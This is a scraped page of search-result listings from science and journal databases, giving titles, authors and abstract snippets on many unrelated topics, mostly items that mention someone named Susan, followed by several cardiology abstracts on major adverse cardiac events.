Store Separation Branch [email protected] 301-342-8575 (Voice 8. 77 FR 25538 - Quarterly Publication of Individuals, Who Have Chosen To Expatriate Science.gov (United States) 2012-04-30 ... ERIK PAUL FURLER NICOLAS SILVAN FURRER GAJA MARIA FURRER JONAS KEVIN FURRER SACHA GABRIELLA GAGNON... CATHERINE MARIE MILNE NATASHA JANE MIN CHRIS SHIK MIN STEVE BAE MIZRACHI ELI HAIM MONTAGUE ALEXANDRE NICOLAS... CHRISTIAN MARTIN SYZ ISABEL SUSAN TAN CHUAN LIONG TAN WEI-EE BEVERLY [[Page 25544 9. 75 FR 1406 - National Mall and Memorial Parks, Washington, DC; Notice of Availability of an Environmental... Science.gov (United States) 2010-01-11 ... Washington, DC. The National Mall Plan is a long-range management plan that focuses on the use and... Spain, Project Executive. Before including your address, phone number, e-mail address, or other personal... Impact Statement. FOR FURTHER INFORMATION CONTACT: Susan Spain, Project Executive, National Mall Plan at... 10. The Higher Power of Patron: Profile of Newbery Winner Science.gov (United States) Oleck, Joan 2007-01-01 One lousy starred review. That was all, initially, that Susan Patron had to show for the 10 years she spent writing "The Higher Power of Lucky," her funny, tender story of a little girl struggling to gain control over her life. One star, from "Kirkus Reviews," for the heart and soul Patron poured into her second novel. Positive notices had… 11. CHARACTERISTICS OF THE NIGERIAN LOW VISION POPULATION African Journals Online (AJOL) vision and refractive errors among Braille reading children in Nigeria identified corneal, lens problems and glaucoma as causes of visual impairment. Susan also reported on the causes of low vision and blindness in East Africa and listed. “whole globe” –retina and corneal/phthisis as major cause in that order. These reports ... 12. Commentary PRAKASH all known Neurospora mutants, chromosome rearrangements, wild and .... Robert Metzenberg and colleagues, including David's associate N B Raju, ... tetrasperma was Dodge's favorite species and he tried (without success) to get his visitors interested in ... They are survived by their daughter Susan and her husband John. 13. South African Medical Journal - Vol 87, No 9 (1997) African Journals Online (AJOL) Zinc and platelet membrane microviscosity in Alzheimer's disease: The in vivo effect of zinc on platelet membranes and cognition · EMAIL FREE FULL TEXT EMAIL FREE FULL TEXT · DOWNLOAD FULL TEXT DOWNLOAD FULL TEXT. Felix C.V. Potocnik, Susan J. van Rensburg, Caron Park, Joshua J.F. Taljaard, Robin A. 14. Modernismi tõlgendamine jätkub / Reet Varblane Index Scriptorium Estoniae Varblane, Reet, 1952- 2007-01-01 Rahvusvaheline kunstiajalookonverents "Erinevad modernismid, erinevad avangardid. Kesk- ja Ida-Euroopa kunstiprobleemid pärast Teist maailmasõda" Kumu Kunstimuuseumis 27. ja 28. IX. Esinejad: Irena Buzhinska, David Crowley, Branislav Dmitrijevic, Sirje Helme, Henry Meyric Hughes, Jaak Kangilaski, Liljana Kolesnik, Andres Kurg, Vojtech Lahoda, Steven Mansbach, Pjotr Piotrowski, Stefanie Reetz, Susan E. Reid, Skaidra Trilupaite, Borut Vogelnik 15. Can We Talk? Science.gov (United States) Engel, Susan 2015-01-01 "One of the most powerful educational tools available to students and teachers lies hidden in plain sight, in every classroom--conversation," writes Susan Engel. The conversational exchanges that happen naturally between parents and young children are full of questions that can lead to learning. Within the context of these casual… 16. The Refugee Crisis, Non-Citizens, Border Politics and Education Science.gov (United States) Gerrard, Jessica 2017-01-01 In the midst of the most serious refugee crisis since WWII, nation states are buttressing their borders. This paper explores the border politics of the nation state in response to the refugee crisis. Drawing on the work of Susan Sontag, Judith Butler and Imogen Tyler it considers the ways in which the imagery of the pain and suffering of Others is… African Journals Online (AJOL) 8 Apr 2016 ... shibien en ma is nie happy nie. Susan Gaigher se allegoriese fanta- sie- oftewel wetenskapsfiksieverhale. “Martine se teepot” (46–55) en “Maslow”. (56–67) is verfrissend. Gaigher is een van die min skrywers in die bundel wat 'n kenmerkende en oorspronklike stem laat klink. 'n Mens sal 'n Gaigher-verhaal. 18. Sympathetic distrust : Cultural diversity and the sexual autonomy of women NARCIS (Netherlands) Prins, Baukje 2007-01-01 An increasing number of feminists agree with Susan Moller Okin’s claim that multiculturalism is ‘bad for women’ (Okin 1998; 1999), because it locks them up within the confines of their traditional, often patriarchal communities and hands them over to the power of the men within that community. Okin 19. Sexual Orientation and U.S. Military Personnel Policy: An Update of RAND’s 1993 Study Science.gov (United States) 2010-01-01 33, No. 6, 2007, pp. 987–1015. Jackson, Susan E., Aparna Joshi, and Niclas L. Erhardt, “Recent Research on Team and Organizational Diversity: SWOT ...Jackie M., and Matthew Neale, “Deviance, Self-Typicality, and Group Cohesion: The Corrosive Effects of the Bad Apples on the Barrel,” Small Group 20. Ring Two: The Librarians Comment Science.gov (United States) American Libraries, 1978 1978-01-01 Three librarians give their impressions of sales representatives who work at library conventions. Henry Stewart discusses how they can be knowledgeable information sources about current products and services; Susan Martin describes how library automation vendors can help librarians learn about new technology; and Peggy Sullivan discusses the… 1. Capturing the Transformation and Dynamic Nature of an Elementary Teacher Candidate's Identity Development as a Teacher of Science Science.gov (United States) Naidoo, Kara 2017-01-01 This study examines the transformation and dynamic nature of one teacher candidate's (Susan) identity as a learner and teacher of science throughout an innovative science methods course. The goal of this paper is to use theoretically derived themes grounded in cultural-historical activity theory (CHAT) and situated learning theory to determine the… 2. Assessment of diagnostic technology in health care: rationale, methods, problems, and directions National Research Council Canada - National Science Library Sox, Harold C 1989-01-01 ... Rationale, Methods, Problems, and Directions Harold Sox, Susan Stern, Douglas Owens, and Herbert L. Abrams Institute of Medicine NATIONAL ACADEMY PRESS WASHINGTON, D.C. 1989 Copyrightthe cannot be not from book, paper however, version for formatting, original authoritative the typesetting-specific the as from created publication files XML from... 3. 75 FR 60781 - Announcement of Funding Awards for Fiscal Year 2010 Doctoral Dissertation Research Grant Program Science.gov (United States) 2010-10-01 ... Street, New York, NY 10011. Grant: \$25,000 to Jamie Taylor. 17. Board of Trustee of the University of... INFORMATION CONTACT: Susan Brunson, Office of University Partnerships, U.S. Department of Housing and Urban... awarded for a two-year period. The Office of University Partnerships under the Assistant Secretary for... 4. Accelerating progress in obesity prevention: solving the weight of the nation National Research Council Canada - National Science Library Glickman, Dan 2012-01-01 .... This study was supported by Grant No. 61747 between the National Academy of Sciences and the Robert Wood Johnson Foundation and a grant between the National Academy of Sciences and the Michael & Susan Dell Foundation. Any opinions, findings, conclusions, or recommendations expressed in this publication are those of the author(s)... 5. Käsk number üks - saavutada täiskontroll - on täidetud / Toomas Hendrik Ilves Index Scriptorium Estoniae Ilves, Toomas Hendrik, 1953- 2006-01-01 Raamatuarvustus: Baker, Peter; Glasser, Susan. Kremlin Rising: Vladimir Putin's Russia and the End of Revolution. New York: Scribner, 2005. Raamatu autorid on USA ajalehe Washington Post Moskva korrespondendid. Arvustus ilmunud ka: Sirp : Diplomaatia 7. okt. 2005 nr. 25, lk. 14-15 6. 75 FR 82212 - Endangered and Threatened Species; Take of Anadromous Fish Science.gov (United States) 2010-12-29 ... and Threatened Species; Take of Anadromous Fish AGENCY: National Marine Fisheries Service (NMFS... Chinook salmon under Limit 6 of the Endangered Species Act (ESA) 4(d) Rule for salmon and steelhead, a.... Dated: December 22, 2010. Susan Pultz, Acting Chief, Endangered Species Division, Office of Protected... 7. Monograph: Young Adulthood and Middle Age, 1989. Science.gov (United States) Monograph: Young Adulthood and Middle Age, 1989 1989-01-01 The inaugural volume of this serial contains 12 articles that represent a diverse population of counselors: (1) "Issues in Counseling Immigrants" (Linda Sheppard); (2) "Family Support and Starting a Small Business" (Michael Cusack and Peter Emerson); (3) "Professional Disillusionment: Crisis or Catalyst" (Kay Miller, Susan Cooper-Shoup and… 8. The National Nanotechnology Initiative. Research and Development Leading to a Revolution in Technology and Industry. Supplement to the President’s FY 2007 Budget Science.gov (United States) 2006-07-01 Risbrudt Theodore Wegner Intelligence Technology Innovation Center (ITIC) Susan Durham International Trade Commission (ITC) Elizabeth Nesbitt National...Hays, Deputy Associate Director for Technology, OSTP Congressional Perspective Elizabeth Grossman and James Wilson, House Committee on Science...Scientific Impact of NNI Speakers: Sam Stupp, Northwestern University Moungi Bawendi, MIT Ellen Williams, University of Maryland Lou Brus , Columbia 9. 50th Anniversary \| College of Engineering & Applied Science Science.gov (United States) Batteries for CT Scanners Catalyst Grants: Contributing to X-Ray History Johnson Controls Hire a Milwaukee CEAS_SliderGraphics_50more Good Day Milwaukee Engineers, This past year, we celebrated a history steeped in excellence made me grow and stretch as an engineer and business woman. Susan Langdon Stantec Sum up your 10. Well-kept secret. Despite a lack of clearly defined standards, hospitals are under increasing pressure to publicly report charity-care figures. Science.gov (United States) Jaklevic, Mary Chris 2004-06-21 Because hospitals have wildly divergent policies on reporting how much charity care they deliver, some fear the standards are so lax that they won't be able to defend their tax exemptions in court. Charity-care data are "all over the map," says Susan Sherry, left, deputy director of Community Catalyst. 11. Fulltext PDF professor of mathematics and the satisfaction arising out of nature doing an external, unbiased ... changed my life." This impels him to write popular science books to inspire future generations and newspaper articles to explain to laymen the impact science has on our lives. Susan Greenfield,p.1 01: At the school leaving. 12. 78 FR 15976 - Aerospace Safety Advisory Panel; Meeting. Science.gov (United States) 2013-03-13 ... to providing the following information no less than 10 working days prior to the meeting: full name... contact Ms. Susan Burch at [email protected] or by telephone at (202) 358-0550 at least 48 hours in...) are requested to submit their name and affiliation 3 working days prior to the meeting to Crystal... 13. 77 FR 1955 - Aerospace Safety Advisory Panel; Meeting Science.gov (United States) 2012-01-12 ... the following information no less than 10 working days prior to the meeting: full name; gender; [email protected] or by telephone at (202) 358-0550 at least 48 hours in advance. Any member of the public... can provide identifying information 3 working days in advance by contacting Susan Burch via email at... 14. 76 FR 26316 - Aerospace Safety Advisory Panel; Meeting Science.gov (United States) 2011-05-06 ... following information no less than 10 working days prior to the meeting: Full name; gender; date/place of.... Susan Burch at [email protected] or by telephone at (202) 358-0550 at least 48 hours in advance. Any... can provide identifying information 3 working days in advance [[Page 26317 15. Child Welfare and Juvenile Justice: Several Factors Influence the Placement of Children Solely To Obtain Mental Health Services. Science.gov (United States) General Accounting Office, Washington, DC. Recent reports have documented how some parents choose to place their children in the child welfare or juvenile justice systems in order to obtain the mental health services that their children need. Senators Susan Collins and Joseph Lieberman of the Senate Committee on Governmental Affairs asked the General Accounting Office (GAO) to testify on:… 16. Political Economy in Applied Linguistics Research Science.gov (United States) Block, David 2017-01-01 This state-of-the-art review is based on the fundamental idea that political economy should be adopted as a frame for research and discussion in applied linguistics as part of a general social turn which has taken hold in the field over the past three decades. It starts with Susan Gal's (1989) early call for such a move in sociolinguistics and… 17. Review article: Ethnomusicology and music education: Continuing ... African Journals Online (AJOL) This review article further explores the nexus between music education and African music/(ethno)musicology that continues the dialogue between the disciplines of musicology and ethnomusicology initiated by Susan Harrop-Allin in SAMUS vol. 25 109-24). Although there has been an explosion of literature over the last five ... 18. Voyage on the SS "School Library Leadership": Collaboration in Teaching and Learning at the University of Vermont Science.gov (United States) Kaplan, Judith L.; Ballard, Susan D. 2012-01-01 This article describes the SS "School Library Leadership" maiden voyage, which departed from the University of Vermont (UVM) during the 2010 fall semester. Twelve intrepid sailors followed their sense of adventure into uncharted waters with cocaptains Judy Kaplan and Susan Ballard in an online collaboration that provided a powerful… 19. Too Many Choices? Science.gov (United States) Gardner, Howard 2002-01-01 Reviews two books, "The Other Boston Busing Story: What's Won and Lost across the Boundary Line" (Susan E. Eaton) and "Kingdom of Children: Culture and Controversy in the Homeschooling Movement" (Mitchell L. Stevens), which provide revealing perspectives on the experiences of those American families who veture beyond the traditional local school.… 20. 77 FR 69454 - Change in Bank Control Notices; Acquisitions of Shares of a Bank or Bank Holding Company Science.gov (United States) 2012-11-19 ..., South Carolina. B. Federal Reserve Bank of Chicago (Colette A. Fried, Assistant Vice President) 230.... Woods, Bluffton, South Carolina, individually and as part of a group acting in concert with Edgar Woods.... Woods, Milton Woods Jr. and Susan H Woods, both of Ridgeland, South Carolina, and J. Eric Woods... 1. Web-Based Instruction: A Guide for Libraries, Third Edition Science.gov (United States) Smith, Susan Sharpless 2010-01-01 Expanding on the popular, practical how-to guide for public, academic, school, and special libraries, technology expert Susan Sharpless Smith offers library instructors the confidence to take Web-based instruction into their own hands. Smith has thoroughly updated "Web-Based Instruction: A Guide for Libraries" to include new tools and trends,… 2. Race, Feminine Power, and the Vietnam War in Philip Red Eagle's "Red Earth" Science.gov (United States) Andrews, Scott 2004-01-01 In her book "The Remasculinization of America," Susan Jeffords discusses the dynamics of how differences such as race and class are erased in filmic and literary representations of the Vietnam War. She asserts that one difference is not overcome by the battlefield: gender, a barrier that is depicted in the literature as natural and… 3. What Women Have Wrought. Science.gov (United States) Murphy, Marjorie 1988-01-01 Reviews four books: "Counter Cultures" (Susan Porter Benson); "Once a Cigar Maker" (Patricia A. Cooper); "To Toil the Livelong Day" (Carol Groneman and Mary Beth North eds.); and "Gender at Work" (Ruth Milkman). The works examine cultural stereotypes about the nature of work and women and they attempt to dispel the ideas that women are less… 4. STS-54 Astronaut Crew Emergency Egress Training, Press Q&A, TCDT Science.gov (United States) 1992-01-01 The crew of STS-54, Commander John H. Casper, Pilot Donald R. McMonagle, and Mission Specialists Mario Runco, Jr., Gregory J. Harbaugh, and Susan J. Helms, is seen during a question and answer session with the press and during the Terminal Countdown and Demonstration Test (TCDT), including Emergency Egress Training. 5. School Nurses Make a Difference Science.gov (United States) Kitchell, Susan 2016-01-01 Susan Kitchell decided to become a school-based healthcare provider after working for more than twenty years in pediatrics and pediatric critical care at Roosevelt Hospital in New York City. She needed a position with daytime hours within her field of expertise that allowed her time to spend with her family. She began working as a school nurse in… 6. "Feminist" Teaching/Teaching "Feminism" Science.gov (United States) Carillo, Ellen C. 2007-01-01 The stakes are high for feminist teachers. Susan A. Basow, Nancy T. Silberg, Kathryn Duncan, Michael Stasio, and others have reported disturbing findings regarding the discrepancy between student evaluations of male professors and female professors. Professors who have identified themselves as feminists or committed to practicing feminist… 7. 77 FR 269 - Matters Related to Patent Appeals Science.gov (United States) 2012-01-04 ... DEPARTMENT OF COMMERCE United States Patent and Trademark Office Matters Related to Patent Appeals ACTION: Proposed collection; comment request. SUMMARY: The United States Patent and Trademark Office... Matters Related to Patent Appeals comment'' in the subject line of the message. Mail: Susan K. Fawcett... 8. 76 FR 53885 - Patent and Trademark Resource Centers Metrics Science.gov (United States) 2011-08-30 ... DEPARTMENT OF COMMERCE United States Patent and Trademark Office Patent and Trademark Resource Centers Metrics ACTION: Proposed collection; comment request. SUMMARY: The United States Patent and... Patent and Trademark Resource Centers Metrics comment'' in the subject line of the message. Mail: Susan K... 9. 77 FR 64967 - Senior Executive Service; Performance Review Board Science.gov (United States) 2012-10-24 ... BROWN, STEPHANIE H BRYAN, WILLIAM N BURROWS, CHARLES W BUTTRESS, LARRY D CADIEUX, GENA E CALBOS, PHILIP..., CAROL J BEAMON, JOSEPH A BEARD, JEANNE M BEARD, SUSAN F BEAUSOLEIL, GEOFFREY L BEKKEDAHL, LARRY N BELL..., HENRY C KELLY, JOHN E KELLY, LARRY C KENCHINGTON, HENRY S KENDELL, JAMES M KETCHAM, TIMOTHY E KHAN... 10. Effects of an exercise programme with people living with HIV ... African Journals Online (AJOL) Effects of an exercise programme with people living with HIV: research in a disadvantaged setting. Clemens Ley, Lloyd Leach, María Rato Barrio, Susan Bassett. Abstract. This study aimed to analyse the physical health effects of a community based 10-week physical activity programme with people living with HIV. 11. Are men universally more dismissing than women? Gender differences in romantic attachment across 62 cultural regions OpenAIRE Schmitt, David A.; Alcalay, Lidia; Allensworth, Melissa; Allik, Juri; Ault, Lara; Austers, Ivars; Bennett, Kevin L.; Bianchi, Gabriel; Boholst, Fredrick; Borg Cunen, Mary Ann; Braeckman, Johan; Brainerd, Edwin G.; Caral, Leo Gerard A.; Caron, Gabrielle; Casullo, Maria Martina 2003-01-01 The authors thank Susan Sprecher (USA), Del Paulhus (Canada), Glenn D. Wilson (England), Qazi Rahman (England), Alois Angleitner (Germany), Angelika Hofhansl (Austria), Tamio Imagawa (Japan), Minoru Wada (Japan), Junichi Taniguchi (Japan), and Yuji Kanemasa (Japan) for helping with data collection and contributing significantly to the samples used in this study. 12. Ethical Issues of Ethnography Method: A Comparative Approach to Subaltern, Self, and the Others Science.gov (United States) Odeyemi, Christo 2013-01-01 Using urban and rural community settings, this review article focuses on ethical issues associated with ethnographer-participant interaction and draws from the ethnographic accounts of Bronislaw Malinowski and Susan Krieger. As such, the following sections intend to illuminate the issue of ethics in ethnography research. As case studies, the… 13. Astronauts Ross and Helms at CAPCOM station during STS-61 simulations Science.gov (United States) 1993-01-01 Astronauts Jerry L. Ross and Susan J. Helms are pictured at the Spacecraft Communicators console during joint integrated simulations for the STS-61 mission. Astronauts assigned to extravehicular activity (EVA) tasks with the Hubble Space Telescope (HST) were simultaneously rehearsing in a neutral buoyancy tank at the Marshall Space Flight Center (MSFC) in Alabama. 14. The Trust Project - Symbiotic Human Machine Teams: Social Cueing for Trust and Reliance Science.gov (United States) 2016-06-30 AFRL-RH-WP-TR-2016-0096 THE TRUST PROJECT - SYMBIOTIC HUMAN-MACHINE TEAMS: SOCIAL CUEING FOR TRUST & RELIANCE Susan Rivers, Monika Lohani, Marissa...30 JUN 2012 – 30 JUN 2016 4. TITLE AND SUBTITLE THE TRUST PROJECT - SYMBIOTIC HUMAN-MACHINE TEAMS: SOCIAL CUEING FOR TRUST & RELIANCE 5a. CONTRACT 15. The Turn of the Century. Tenth Grade Lesson. Schools of California Online Resources for Education (SCORE): Connecting California's Classrooms to the World. Science.gov (United States) Bartels, Dede In this 10th grade social studies and language arts interdisciplinary unit, students research and report on historical figures from the turn of the 20th century. Students are required to work in pairs to learn about famous and common individuals, including Andrew Carnegie, Samuel Gompers, Susan B. Anthony, Thomas Edison, Theodore Roosevelt, Booker… 16. What's Happening in February? Science.gov (United States) Weissman, Ron; And Others Brief information is given on 12 February events celebrated by Puerto Ricans: Groundhog Day; Candlemas; St. Valentine's Day; Mardi Gras; Ash Wednesday; Black History; and the birthdays of Thomas Alva Edison, Abraham Lincoln, Susan B. Anthony, Julia de Burgos, Luis Munoz Marin, and George Washington. Designed as a teacher resource, the booklet… 17. 75 FR 63813 - Membership of the Bureau Industry Security Performance Review Board Science.gov (United States) 2010-10-18 ..., Department of Commerce Human Resources Operations Center (DOCHROC), Office of Executive Resources Operations... Administration. Susan Boggs, Director, Office of Staffing, Recruitment and Classification, Department of Commerce Human Resources Operations Center. [FR Doc. 2010-26168 Filed 10-15-10; 8:45 am] BILLING CODE 3510-25-P ... 18. Review of "School Choice by the Numbers: The Fiscal Effect of School Choice Programs 1990-2006" Science.gov (United States) Baker, Bruce 2007-01-01 This review considers the recently released study by Susan Aud of the Milton & Rose D. Friedman Foundation, concerning the fiscal effects of school vouchers policies. Aud calculates the simple difference between, on the one hand, state and local government spending on students attending traditional public schools, and, on the other, the government… 19. 75 FR 53362 - Self-Regulatory Organizations; Financial Industry Regulatory Authority, Inc.; Notice of Filing of... Science.gov (United States) 2010-08-31 ..., 2009 (NSCP letter''); letter from Clifford E. Kirsch and Susan Krawczyk, Sutherland Asbill & Brennan..., dated July 29, 2009 (`Sutherland letter''); letter from Gary A. Sanders, National Association of... rule. \\17\\ Sutherland letter. This commenter requested guidance on facts and circumstances that would... 20. Media Violence and Freedom of Speech : How to Use Empirical Data NARCIS (Netherlands) de Bruin, Boudewijn Susan Hurley has argued against a well known argument for freedom of speech, the argument from autonomy, on the basis of two hypotheses about violence in the media and aggressive behaviour. The first hypothesis says that exposure to media violence causes aggressive behaviour; the second, that humans 1. Keeping up Appearances before the "Other"? Interculturality and Occidentalism in the Educational TV-Program "Happy Chinese" Science.gov (United States) Dervin, Fred; Gao, Minghui 2012-01-01 "Happy Chinese" or kuaile hanyu is an educational melodrama produced by the Chinese TV channel CCTV in 2009. Aiming to improve foreign learners' Chinese language skills, the plot revolves around Susan, an American, staying with her former Chinese classmate's family. "Happy Chinese" proposes both language and cultural learning.… 2. School Nurse Perspectives Science.gov (United States) Borja, Mary C.; Amidon, Christine; Spellings, Diane; Franzetti, Susan; Nasuta, Mary 2009-01-01 This article features school nurses from across the country who are championing for school-located influenza immunization within their communities. These nurses are: (1) Mary C. Borja; (2) Christine Amidon; (3) Diane Spellings; (4) Susan Franzetti; and (5) Mary Nasuta. (Contains 6 figures.) 3. Are introverts better at partnership brokering? Exploring brokering skills across the introvert-extrovert continuum NARCIS (Netherlands) Brouwer, J.H. 2013-01-01 This article raises the question of whether it matters if a partnership broker is introverted or extroverted[1], [2]. A recent public discussion about Susan Cain’s book ‘Quiet: The power of introverts in a world that can’t stop talking’ has highlighted the importance of recognising one’s temperament 4. Whither Educational Evaluation: Life, Death, and Reincarnation? Research into Practice Project. Science.gov (United States) Herman, Joan; And Others 1984-01-01 The current health and future well-being of educational evaluation is considered in terms of financial support, official mandate, evaluators' status, evaluation prevalence, and evaluation utility in these seven symposium papers. "Educational Evaluation--Indicators of Life, Death, or Reincarnation," by Susan Klein, assesses recent federal… 5. 77 FR 5813 - Cardiovascular Metallic Implants: Corrosion, Surface Characterization, and Nickel Leaching... Science.gov (United States) 2012-02-06 .... If you need special accommodations due to a disability, please contact Susan Monahan, Food and Drug... corrosion testing paradigm is predictive of in vivo corrosion outcomes, or if there may be more suitable... paradigms, including when certain tests should be considered, and how to establish acceptance criteria for... 6. ORIGINAL ARTICLES African Journals Online (AJOL) recently done in two rural Eastern Cape hospitals supports the literature which ... Ann Ashworth, BSc, PhD. Initiative for Sub-District Support, Health Systems Trust, Cape Town. Susan Strasser, RN ... A review of treatment practices worldwide found that many ... model district-based integrated nutrition programme (INP).9 As ... 7. Persistent Patriarchy: Women Workers on Sri Lankan Plantations NARCIS (Netherlands) R. Kurian (Rachel); K. Jayawardena (Kumari) 2014-01-01 markdownabstract__Abstract__ The early suffragists in the United States had decried the “prolonged slavery of woman” as the “darkest page in human history” with one of the leaders, Susan B. Anthony, stating on Independence Day in 1876 that “Universal manhood suffrage, by establishing 8. Eating Disorders: The Impact on Children and Families. Hearing before the Select Committee on Children, Youth, and Families. House of Representatives, One Hundredth Congress, First Session (San Francisco, CA, July 31, 1987). Science.gov (United States) Congress of the U.S., Washington, DC. House Select Committee on Children, Youth, and Families. The text of a Congressional hearing to examine the impact of eating disorders on children and families is presented in this document. Testimony by the following witnesses is included: (1) Krista Brown, eating disorder victim, and her mother, Susan Brown; (2) Robert B. Duncan, a hospital president; (3) Patricia Fallon, a clinical psychogist; (4)… 9. Prevención de tabaquismo en mujeres adolescentes / OpenAIRE Calleja Bello, Nazira sustentante. 2009-01-01 tesis que para obtener el grado de Doctor en Psicología, presenta Nazira Calleja Bello ; asesor Susan Pick Steiner. 296 páginas : ilustraciones. Doctorado en Psicología UNAM, Facultad de Psicología, 2009 10. Diseño y evaluación de un programa de habilidades para la salud en niños en comunidades rurales / OpenAIRE Anaya González, Cecilia Irene sustentante. 2009-01-01 tesis que para obtener el grado de Doctor en Psicología, presenta Cecilia Irene Anaya González ; asesor Susan Pick Steiner. 197 páginas : ilustraciones. Doctorado en Psicología UNAM, Facultad de Psicología, 2009 11. Remedial Investigation Report for Lake City Army Ammunition Plant. Volume 1 Science.gov (United States) 1990-06-01 4.2.l8 4,-Dichlorobenzene 1,4-Dichlorobenzene is a solid used as an air deodorant and as an insecticide . EPA (1987) reports that 100% of an oral dose...sumac, and wild grapevine are also found within the woodlands. Common weed species include blackeyed susan, bull thistle, Carolina horse nettle , chickweed 12. Information Broker/Free Lance Librarian--New Careers--New Library Services. Miscellaneous Studies No. 3 Science.gov (United States) Minor, Barbara B., Ed. Proceedings of a workshop on the information broker--a person or organization that provides information on demand for a fee, usually to make a profit--includes edited transcripts of the following presentations: "Introduction," Maxine Davis; "The Free-Lance Alternative: Turning Traditional Skills New Directions," Susan Klement;… 13. 75 FR 60780 - Announcement of Funding Awards for Fiscal Year 2010 Alaska Native/Native Hawaiian Institutions... Science.gov (United States) 2010-10-01 ...-income, consistent with the purpose of Title I of the Housing and Community Development Act of 1974, as amended. FOR FURTHER INFORMATION CONTACT: Susan Brunson, Office of University Partnerships, U.S... administered by the Office of University Partnerships under the Office of the Assistant Secretary for Policy... 14. Literacy in Community Colleges. Junior College Resource Review. Science.gov (United States) Yarrington, Roger; And Others This series of Junior College Resource Reviews focuses on the community college's role in literacy development. After Roger Yarrington's overview of the topic, Robert McCabe and Susan Skidmore consider "The Literacy Crisis and American Education." In light of the changing nature of work and the severe decline in the communication skills of youth,… 15. The Australian Education Union's Response to Kevin Donnelly's "The Australian Education Union: A History of Opposing School Choice and School Autonomy Down-Under" Science.gov (United States) Hopgood, Susan 2015-01-01 This article is a response to Kevin Donnelly's article, "The Australian Education Union: A History of Opposing School Choice and School Autonomy Down-Under," and aims to correct specific errors and misrepresentations as found by Susan Hopgood, Federal Secretary of the Australian Education Union. She argues that the article is misleading… 16. Stress Perfusion Coronary Flow Reserve Versus Cardiac Magnetic Resonance for Known or Suspected CAD. Science.gov (United States) Kato, Shingo; Saito, Naka; Nakachi, Tatsuya; Fukui, Kazuki; Iwasawa, Tae; Taguri, Masataka; Kosuge, Masami; Kimura, Kazuo 2017-08-15 17. Left atrial enlargement increases the risk of major adverse cardiac events independent of coronary vasodilator capacity. Science.gov (United States) Koh, Angela S; Murthy, Venkatesh L; Sitek, Arkadiusz; Gayed, Peter; Bruyere, John; Wu, Justina; Di Carli, Marcelo F; Dorbala, Sharmila 2015-09-01 Longstanding uncontrolled atherogenic risk factors may contribute to left atrial (LA) hypertension, LA enlargement (LAE) and coronary vascular dysfunction. Together they may better identify risk of major adverse cardiac events (MACE). The aim of this study was to test the hypothesis that chronic LA hypertension as assessed by LAE modifies the relationship between coronary vascular function and MACE. In 508 unselected subjects with a normal clinical (82)Rb PET/CT, ejection fraction ≥40 %, no prior coronary artery disease, valve disease or atrial fibrillation, LAE was determined based on LA volumes estimated from the hybrid perfusion and CT transmission scan images and indexed to body surface area. Absolute myocardial blood flow and global coronary flow reserve (CFR) were calculated. Subjects were systematically followed-up for the primary end-point - MACE - a composite of all-cause death, myocardial infarction, hospitalization for heart failure, stroke, coronary artery disease progression or revascularization. During a median follow-up of 862 days, 65 of the subjects experienced a composite event. Compared with subjects with normal LA size, subjects with LAE showed significantly lower CFR (2.25 ± 0.83 vs. 1.95 ± 0.80, p = 0.01). LAE independently and incrementally predicted MACE even after accounting for clinical risk factors, medication use, stress left ventricular ejection fraction, stress left ventricular end-diastolic volume index and CFR (chi-squared statistic increased from 30.9 to 48.3; p = 0.001). Among subjects with normal CFR, those with LAE had significantly worse event-free survival (risk adjusted HR 5.4, 95 % CI 2.3 - 12.8, p < 0.0001). LAE and reduced CFR are related but distinct cardiovascular adaptations to atherogenic risk factors. LAE is a risk marker for MACE independent of clinical factors and left ventricular volumes; individuals with LAE may be at risk of MACE despite normal coronary vascular function. 18. A direct comparison of decision rules for early discharge of suspected acute coronary syndromes in the era of high sensitivity troponin. Science.gov (United States) Chew, Pei Gee; Frost, Fredrick; Mullen, Liam; Fisher, Michael; Zadeh, Heidar; Grainger, Ruth; Albouaini, Khaled; Dodd, James; Patel, Bilal; Velavan, Periaswamy; Kunadian, Babu; Rawat, Anju; Obafemi, Toba; Tong, Sarah; Jones, Julia; Khand, Aleem 2018-02-01 We tested the hypothesis that a single high sensitivity troponin at limits of detection (LOD HSTnT) (Acute Coronary Events (GRACE) (acute coronary syndrome. In a prospective cohort study, risk scores were computed in consecutive patients with suspected acute coronary syndrome presenting to the Emergency Room of a large English hospital. Adjudication of myocardial infarction, as per third universal definition, involved a two-physician, blinded, independent review of all biomarker positive chest pain re-presentations to any national hospital. The primary and secondary outcome was a composite of type 1 myocardial infarction, unplanned coronary revascularisation and all cause death (MACE) at six weeks and one year. Of 3054 consecutive presentations with chest pain 1642 had suspected acute coronary syndrome (52% male, median age 59 years, 14% diabetic, 20% previous myocardial infarction). Median time from chest pain to presentation was 9.7 h. Re-presentations occurred in eight hospitals with 100% follow-up achieved. Two hundred and eleven (12.9%) and 279 (17%) were adjudicated to suffer MACE at six weeks and one year respectively. Only HEART ≤3 (negative predictive value MACE 99.4%, sensitivity 97.6%, %discharge 53.4) and LOD HSTnT strategy (negative predictive value MACE 99.8%, sensitivity 99.5%, %discharge 36.9) achieved pre-specified negative predictive value of >99% for MACE at six weeks. For type 1 myocardial infarction alone the negative predictive values at six weeks and one year were identical, for both HEART ≤3 and LOD HSTnT at 99.8% and 99.5% respectively. HEART ≤3 or LOD HSTnT strategy rules out short and medium term myocardial infarction with ≥99.5% certainty, and short-term MACE with >99% certainty, allowing for early discharge of 53.4% and 36.9% respectively of suspected acute coronary syndrome. Adoption of either strategy has the potential to greatly reduce Emergency Room pressures and minimise follow-up investigations. Very early presenters (<3 h 19. Biomarker evaluation as a potential cause of gender differences in obesity paradox among patients with STEMI. Science.gov (United States) Baumann, Stefan; Koepp, Johanna; Becher, Tobias; Huseynov, Aydin; Bosch, Katharina; Behnes, Michael; Fastner, Christian; El-Battrawy, Ibrahim; Renker, Matthias; Lang, Siegfried; Weiß, Christel; Borggrefe, Martin; Lehmann, Ralf; Akin, Ibrahim 2016-03-01 Obesity with its worldwide growing prevalence is an established cardiovascular risk factor with increased morbidity and mortality. However, the phenomenon, that mild to moderate obesity seems to represent a protective effect on diseases has been termed the "obesity paradox". We retrospectively assessed 529 patients (72.6% male, mean age 59.7±12.7years) admitted with ST-elevation myocardial infarction (STEMI). The female and male study populations were separated into four body mass index (BMI) groups: ≤24.9kg/m(2), 25.0-29.9kg/m(2), 30.0-34.9kg/m(2) and ≥35.0kg/m(2). Blood samples of high-density lipoprotein cholesterol (HDL-c) and low-density lipoprotein cholesterol (LDL-c) were analyzed. With increasing BMI group the rate of major adverse cardiac events (MACE) decreased in all patients (test for trend p=0.041). No gender difference between MACE and BMI could be noticed (p=0.16). A higher risk for MACE was indicated in group BMI ≤18.5kg/m(2) in comparison to 